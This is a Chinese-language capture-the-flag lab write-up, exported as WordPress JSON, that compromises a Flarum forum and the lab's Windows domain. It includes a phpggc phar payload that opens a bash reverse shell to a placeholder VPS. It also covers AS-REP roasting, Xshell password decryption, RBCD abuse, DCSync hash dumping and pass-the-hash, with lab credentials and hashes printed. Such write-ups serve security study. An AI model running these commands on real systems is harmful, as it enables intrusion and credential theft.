{"id":945,"date":"2025-04-16T21:29:49","date_gmt":"2025-04-16T13:29:49","guid":{"rendered":"http:\/\/www.s1mh0.cn\/blog\/?p=945"},"modified":"2025-04-16T21:30:01","modified_gmt":"2025-04-16T13:30:01","slug":"cqyj_flarum","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2025\/04\/16\/cqyj_flarum\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883-Flarum"},"content":{"rendered":"<h2>Flarum<\/h2>\n<p>\u6d89\u53ca\u7684\u77e5\u8bc6\u70b9<\/p>\n<pre><code class=\"language-text\">Flarum\u540e\u53f0RCE\nopenssl\u7684capabilities\u63d0\u6743\nAS-REP Roasting\nXshell\u5bc6\u7801\u89e3\u660e\u6587\nACCOUNT OPERATORS\u7ec4\u63d0\u6743\uff08RBCD\uff09\nDCSync<\/code><\/pre>\n<h3>flag1<\/h3>\n<p>fscan\u626b\u51faweb\u670d\u52a1<\/p>\n<pre><code class=\"language-text\">start infoscan\n39.98.113.182:22 open\n39.98.113.182:80 open\n[*] alive ports len is: 2\nstart vulscan\n[*] WebTitle http:\/\/39.98.113.182      code:200 len:5882   title:\u9704\u58e4\u793e\u533a\n\u5df2\u5b8c\u6210 2\/2\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 57.848143s<\/code><\/pre>\n<p>\u6839\u636e\u7b2c\u4e00\u5173\u9898\u76ee\u63cf\u8ff0\uff0c\u7528\u7684Flarum\u6846\u67b6\u5e76\u4e14\u540e\u53f0\u5b58\u5728\u5f31\u53e3\u4ee4<\/p>\n<pre><code class=\"language-text\">administrator\/1chris<\/code><\/pre>\n<h4>Flarum\u540e\u53f0RCE<\/h4>\n<p>\u4f7f\u7528<a href=\"https:\/\/github.com\/ambionics\/phpggc\">phpgcc<\/a>\u8fd9\u6b3e\u5de5\u5177\u6765\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6\uff0c\u5e76\u5c06\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\u63d2\u5165\u5176\u4e2d\uff0c\u5728phpggc\u76ee\u5f55\u6253\u5f00cmd\u8f93\u5165<\/p>\n<pre><code class=\"language-text\">php phpggc -p tar -b Monolog\/RCE6 system &quot;bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/vpsip\/10087 0&gt;&amp;1&#039;&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_1.png\" alt=\"flarum_1\" \/><\/p>\n<p>\u5c06\u751f\u6210\u7684base64\u5b57\u7b26\u4e32\u653e\u5230\u81ea\u5b9a\u4e49CSS\u90a3\u5757<\/p>\n<pre><code class=\"language-text\">@import (inline) &#039;data:text\/css;base64,dGVzdC50eHQAAAAAAAAAA......AAAAAAAAA=&#039;;<\/code><\/pre>\n<p>\u4fee\u6539\u5b8c\u4e4b\u540e\u5148\u8bbf\u95ee\u4e00\u4e0b<code>http:\/\/39.98.113.182\/<\/code>\u4e3b\u9875\uff0c\u63a5\u7740\u8bbf\u95ee\u4e00\u4e0b<code>http:\/\/39.98.113.182\/assets\/forum.css<\/code>\u786e\u4fddcss\u6837\u5f0f\u5df2\u7ecf\u6210\u529f\u4fee\u6539\uff0c\u63a5\u7740\u7ee7\u7eed\u4fee\u6539\u81ea\u5b9a\u4e49CSS\uff0c\u7528phar\u534f\u8bae\u5305\u542b\u521a\u521a\u4e0a\u4f20\u7684css\u6587\u4ef6<\/p>\n<pre><code class=\"language-text\">.test {\n    content: data-uri(&#039;phar:\/\/.\/assets\/forum.css&#039;);\n}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_2.png\" alt=\"flarum_2\" \/><\/p>\n<h4>openssl\u7684capabilities\u63d0\u6743<\/h4>\n<p>suid\u548csudo\u6743\u9650\u90fd\u6ca1\u6709\u80fd\u5229\u7528\u7684\uff0c\u67e5\u627e\u8bbe\u7f6e\u4e86capabilities\u53ef\u6267\u884c\u6587\u4ef6<\/p>\n<pre><code class=\"language-text\">getcap -r \/ 2&gt;\/dev\/null<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_3.png\" alt=\"flarum_3\" \/><\/p>\n<p>\u5229\u7528openssl\u8bfb\u53d6\u7b2c\u4e00\u4e2aflag<\/p>\n<pre><code class=\"language-text\">openssl enc -in &quot;\/root\/flag\/flag01.txt&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_4.png\" alt=\"flarum_4\" \/><\/p>\n<pre><code class=\"language-text\">flag{0c352999-b883-408e-9c3f-d31fc130b2e0}<\/code><\/pre>\n<h3>flag3<\/h3>\n<p>\u4f20fscan\u3001gost<\/p>\n<pre><code class=\"language-text\">start infoscan\ntrying RunIcmp2\nThe current user permissions unable to send icmp packets\nstart ping\n(icmp) Target 172.22.60.15    is alive\n(icmp) Target 172.22.60.8     is alive\n(icmp) Target 172.22.60.42    is alive\n(icmp) Target 172.22.60.52    is alive\n[*] Icmp alive hosts len is: 4\n172.22.60.8:88 open\n172.22.60.42:445 open\n172.22.60.8:445 open\n172.22.60.15:445 open\n172.22.60.42:139 open\n172.22.60.8:139 open\n172.22.60.15:139 open\n172.22.60.42:135 open\n172.22.60.8:135 open\n172.22.60.15:135 open\n172.22.60.52:80 open\n172.22.60.52:22 open\n[*] alive ports len is: 12\nstart vulscan\n[*] NetInfo \n[*]172.22.60.8\n   [-&gt;]DC\n   [-&gt;]172.22.60.8\n   [-&gt;]169.254.159.179\n[*] NetBios 172.22.60.42    XIAORANG\\FILESERVER           \n[*] NetBios 172.22.60.15    XIAORANG\\PC1                  \n[*] NetInfo \n[*]172.22.60.42\n   [-&gt;]Fileserver\n   [-&gt;]172.22.60.42\n   [-&gt;]169.254.249.98\n[*] NetInfo \n[*]172.22.60.15\n   [-&gt;]PC1\n   [-&gt;]172.22.60.15\n   [-&gt;]169.254.123.157\n[*] NetBios 172.22.60.8     [+] DC:XIAORANG\\DC             \n[*] WebTitle http:\/\/172.22.60.52       code:200 len:5867   title:\u9704\u58e4\u793e\u533a\n\u5df2\u5b8c\u6210 12\/12\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 18.016784355s<\/code><\/pre>\n<p>web\u6839\u76ee\u5f55\u4e0bconfig.php\u53ef\u4ee5\u770b\u5230mysql\u8d26\u5bc6<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_5.png\" alt=\"flarum_5\" \/><\/p>\n<pre><code class=\"language-text\">root\/Mysql@root123<\/code><\/pre>\n<p>\u8fde\u63a5\u540e\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u7528\u6237\uff0c\u5bfc\u51faemail\u5217\u5b58\u50a8\u5230txt\u6587\u4ef6\u4e2d<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_6.png\" alt=\"flarum_6\" \/><\/p>\n<h4>AS-REP Roasting<\/h4>\n<p>\u7ecf\u5178AS-REP Roasting\u653b\u51fb<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-GetNPUsers -dc-ip 172.22.60.8  xiaorang.lab\/ -usersfile flarum_users.txt<\/code><\/pre>\n<pre><code class=\"language-text\">$krb5asrep$23$wangyun@xiaorang.lab@XIAORANG.LAB:4083d2a457fe93d7bcea41edae884453$869727a00ba094d7a47cc5c4dc26c26bf4868acc27caafd94bb15711fd4ba7d4ae3b5c21d1a9fc9d493534dde06bd400fa25385376ab56a327e9301da8141cfccc71f0e9f38d289ee9a3b16d57c58e57ec9128b5783ac55ceed0df211d11564ab4782f762d50a06d222be29a8e59c60ff82bcb76140ff233759455e5a9e6443cb6fb3254944931d3a65c1d4367c1b1bc0686ebf820792fa15c374ce1c1cc3a35f96bc4f07a989ce7288d828fb40e4ef8b918f59f28c7285e223865bd3046e24bed357fb98df449c33d66380298ca17e4f4dfce75b587b02976a40ca7f7aaa45560ab8ebcf177a6c63f0761d6\n$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:f37aa1b2360117131db8828ba4a5995d$69e7cb04f16034929e2457305cb921c3bc8cb26988be23e9ff8b05810306627ab881ea08a806839d886ca5d6a81a4de78287fe31c1270575b2372e793c73c67b8c2ea2a817da0b801d9f7e04e04d35613be963471bc5be562a1401b6ec39177d921d58bf5379e9ffa361fb870249c657a960ee68d86ef04172418af6d017c50f845af111ce3cc34d28a287bc4843f0e41dc67edefc6d4f0c9277cb3c7a995beb4159860cfd3f5496083586c1f17cc58f4c4dd320d1e833041e4f142471917a1d47e0cec728f8a882e38ced1d72823c82d3414021ff1f574a6214aa705be51a7428292fc76bc8e0f918bc13b4<\/code><\/pre>\n<p>hashcat\u7206\u7834<\/p>\n<pre><code class=\"language-text\">hashcat -a 0 -m 18200 --force aaa.txt F:\\CyberSecurity\\\u5b57\u5178\u5408\u96c6\\rockyou.txt <\/code><\/pre>\n<p>\u7206\u51fawangyun\u5bc6\u7801\uff0czhangxin\u6ca1\u7206\u51fa\u6765<\/p>\n<pre><code class=\"language-text\">wangyun@xiaorang.lab\/Adm12geC<\/code><\/pre>\n<h4>Xshell\u5bc6\u7801\u89e3\u660e\u6587<\/h4>\n<p>rdp\u767b\u5f55PC1\u673a\u5668\u6709xshell\uff0c\u7528<a href=\"https:\/\/github.com\/JDArmy\/SharpXDecrypt\/\">SharpXDecrypt<\/a>\u83b7\u53d6\u5230zhangxin\u7528\u6237\u5bc6\u7801<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_7.png\" alt=\"flarum_7\" \/><\/p>\n<pre><code class=\"language-text\">zhangxin\/admin4qwY38cc<\/code><\/pre>\n<p>bloodhound\u6536\u96c6\u57df\u4fe1\u606f<\/p>\n<pre><code class=\"language-text\">proxychains4 -q bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_8.png\" alt=\"flarum_8\" \/><\/p>\n<p>zhangxin\u5c5e\u4e8eACCOUNT OPERATORS\u7ec4\uff0c\u53ef\u4ee5\u5229\u7528RBCD\u8fdb\u884c\u63d0\u6743<\/p>\n<h4>ACCOUNT OPERATORS\u7ec4\u6253RBCD<\/h4>\n<p>\u8001\u5957\u8def\uff0c\u521b\u5efa\u53d7\u63a7\u8ba1\u7b97\u673a\u8d26\u6237\uff0c\u540e\u7eed\u901a\u8fc7\u8be5\u8d26\u6237\u914d\u7f6e\u59d4\u6d3e\u6743\u9650<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-addcomputer &#039;xiaorang.lab\/zhangxin:admin4qwY38cc&#039; -computer-name &#039;simho$&#039; -computer-pass &#039;whoami@123&#039; -dc-ip 172.22.60.8<\/code><\/pre>\n<p>\u914d\u7f6e RBCD \u59d4\u6d3e\u5173\u7cfb\uff0c\u5141\u8bb8 <code>simho$<\/code> \u6a21\u62df <code>&#039;FILESERVER$<\/code> \u4e0a\u7684\u4efb\u610f\u7528\u6237\uff08\u5982\u57df\u7ba1\u7406\u5458\uff09\uff0c\u4ece\u800c\u83b7\u53d6\u9ad8\u6743\u9650\u7968\u636e<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-rbcd &#039;xiaorang.lab\/zhangxin:admin4qwY38cc&#039; -action write -delegate-from &#039;simho$&#039; -delegate-to &#039;FILESERVER$&#039; -dc-ip 172.22.60.8<\/code><\/pre>\n<p>\u4f7f\u7528 <code>impacket-getST<\/code> \u901a\u8fc7 S4U2Self \u548c S4U2Proxy \u534f\u8bae\uff0c\u4ee5 <code>simho$<\/code> \u7684\u8eab\u4efd\u8bf7\u6c42 <code>Administrator<\/code> \u7528\u6237\u7684 Kerberos \u670d\u52a1\u7968\u636e\uff08TGS\uff09<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-getST xiaorang.lab\/&#039;simho$&#039;:&#039;whoami@123&#039; -spn cifs\/FILESERVER.xiaorang.lab -impersonate Administrator -dc-ip 172.22.60.8<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_9.png\" alt=\"flarum_9\" \/><\/p>\n<p>\u8bbe\u7f6e Kerberos \u7968\u636e\u7f13\u5b58\uff0c\u6a2a\u5411\u79fb\u52a8\u5230<code>Fileserver<\/code>\u673a\u5668\uff0c\u62ff\u5230\u7b2c\u4e09\u4e2aflag<\/p>\n<pre><code class=\"language-text\">export KRB5CCNAME=administrator.ccache\n\nproxychains4 -q impacket-smbexec &#039;xiaorang.lab\/administrator@FILESERVER.xiaorang.lab&#039; -target-ip 172.22.60.42 -codec gbk -shell-type powershell -no-pass -k<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_10.png\" alt=\"flarum_10\" \/><\/p>\n<pre><code class=\"language-text\">flag{611b8254-965f-428e-95fa-d33b9445bbfd}<\/code><\/pre>\n<h3>flag2 &amp; flag4<\/h3>\n<h4>DCSync\u653b\u51fb<\/h4>\n<p>\u7ee7\u7eed\u5206\u6790bloodhound\uff0cFILESERVER \u673a\u5668\u62e5\u6709 DCSync \u6743\u9650\uff0c\u5e94\u8be5\u5c31\u662f\u9898\u76ee\u63cf\u8ff0\u63d0\u5230\u7684\u540e\u95e8<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_11.png\" alt=\"flarum_11\" \/><\/p>\n<p>\u56e0\u6b64\u5148\u6293\u53d6\u8be5\u53f0\u673a\u5668\u54c8\u5e0c<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-secretsdump -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_12.png\" alt=\"flarum_12\" \/><\/p>\n<pre><code class=\"language-text\">XIAORANG\\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::<\/code><\/pre>\n<p>\u63a5\u7740\u7528 FILESERVER \u673a\u5668\u8d26\u6237\u8fdb\u884c DCSync \u653b\u51fb<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-secretsdump &#039;xiaorang.lab\/FILESERVER$@DC.xiaorang.lab&#039; -target-ip 172.22.60.8 -dc-ip 172.22.60.8 -hashes :951d8a9265dfb652f42e5c8c497d70dc -just-dc-ntlm -user-status<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_13.png\" alt=\"flarum_13\" \/><\/p>\n<pre><code class=\"language-text\">Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b<\/code><\/pre>\n<p>PTH \u767b\u5f55\u57df\u63a7\u8ddfPC1<\/p>\n<pre><code class=\"language-text\">proxychains4 -q impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab\/administrator@172.22.60.15 -codec gbk<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_14.png\" alt=\"flarum_14\" \/><\/p>\n<pre><code class=\"language-text\">flag{856c7dc8-46c4-46c6-a67e-521813c8a5ec}<\/code><\/pre>\n<pre><code class=\"language-text\">proxychains4 -q impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab\/administrator@172.22.60.8 -codec gbk<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/04\/flarum_15.png\" alt=\"flarum_15\" \/><\/p>\n<pre><code class=\"language-text\">flag{515e8383-6669-4f36-a840-01e887dac615}<\/code><\/pre>\n<div class=\"clearfix\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Flarum \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 Flarum\u540e\u53f0RCE openssl\u7684capabilities\u63d0\u6743 AS-REP [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-945","post","type-post","status-publish","format-standard","hentry","category-pentesting"],"views":754,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=945"}],"version-history":[{"count":1,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/945\/revisions"}],"predecessor-version":[{"id":947,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/945\/revisions\/947"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}